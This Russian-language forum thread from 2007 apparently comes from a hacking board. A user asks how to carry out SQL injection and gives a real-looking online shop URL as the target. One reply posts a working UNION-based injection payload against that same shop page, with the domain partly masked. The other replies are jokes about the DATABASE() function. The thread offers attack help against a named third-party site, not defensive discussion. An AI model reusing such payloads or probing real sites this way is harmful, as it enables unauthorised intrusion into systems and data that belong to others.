MySQL инъекция - проблема с реализацией
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
MySQL инъекция - проблема с реализацией - 2007-09-17 10:39:01.110000
|
|
|
mech
Сообщений: 50
Оценки: 0
Присоединился: 2007-08-21 13:02:54.476666
|
хай! много читал про sql-injection, но реализовать самому не хватает опыта. Буду благодарен, если объясните на примере
http://www.uahunter.com.ua/e-shop/shop.php?CID=4'
|
|
|
|
|
RE: MySQL инъекция - проблема с реализацией - 2007-09-17 12:05:19.620000
|
|
|
Zmeu
Сообщений: 8
Оценки: 0
Присоединился: 2006-09-10 00:16:54
|
Стыдно!!!
В сети всё есть…
Вот тебе пример:
http://www.*******.ua/e-shop/shop.php?CID=-4+union+select+1,DATABASE()/*
;)
|
|
|
|
|
RE: MySQL инъекция - проблема с реализацией - 2007-09-17 17:49:42.476666
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
я а язабыл что такое DATABASE()??
|
|
|
|
|
RE: MySQL инъекция - проблема с реализацией - 2007-09-17 17:51:55.480000
|
|
|
ViD0K
Сообщений: 134
Оценки: 0
Присоединился: 2007-07-10 19:57:57.680000
|
поищи сайт sqlinjectionrulez.ru там все прекрасно описанно
да и статьях на сайте полного примеров юзай поиск
|
|
|
|
|
RE: MySQL инъекция - проблема с реализацией - 2007-09-17 18:02:16.026666
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
quote:
ORIGINAL: FriLL
я а язабыл что такое DATABASE()??
Функция, форматирующая жёсткие диски сервера в бесконечном цикле, так что через несколько часов вентилятор начинает крутиться с первой космической скоростью и выходит на околоземную орбиту, сам сервер от этого перегревается до температуры кипения меди в радиаторе и взрыватся, испаряя вокруг всё живое и накрывая ядерным грибом ближайщие датацентры в радиусе 1000 км.
А ещё она иногда возвращает название текущей базы данных.
|
|
|
|
|
RE: MySQL инъекция - проблема с реализацией - 2007-09-20 03:49:47.736666
|
|
|
A_DnX
Сообщений: 31
Оценки: 0
Присоединился: 2007-08-18 02:38:26.056666
|
quote:
ORIGINAL: FriLL
я а язабыл что такое DATABASE()??
А ты помнил?
|
|
|
|
|
RE: MySQL инъекция - проблема с реализацией - 2007-11-15 17:44:11.490000
|
|
|
Toxic_gl
Сообщений: 17
Оценки: 0
Присоединился: 2007-11-07 22:52:34.470000
|
<none>
|
|
|
|
|
|
